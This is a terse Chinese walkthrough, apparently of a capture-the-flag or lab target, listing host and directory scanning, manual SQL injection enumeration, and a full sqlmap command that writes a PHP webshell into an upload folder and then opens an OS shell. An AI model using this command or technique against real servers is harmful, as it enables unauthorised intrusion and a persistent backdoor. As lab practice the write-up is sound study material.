1.扫描存活主机和目录
进入robots.txt看看
2.sql爆破(手工)
order by 3,order by 4
查库
查表
查字段
查全部
因为没有写东西的地方,我们回去一个个目录扫
找到了网站的绝对路径
3.sqlmap提权
sqlmap -r ./data.txt --file-write="muma.php" --file-dest="/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/20.php"
--os-shell连接
写入一句话木马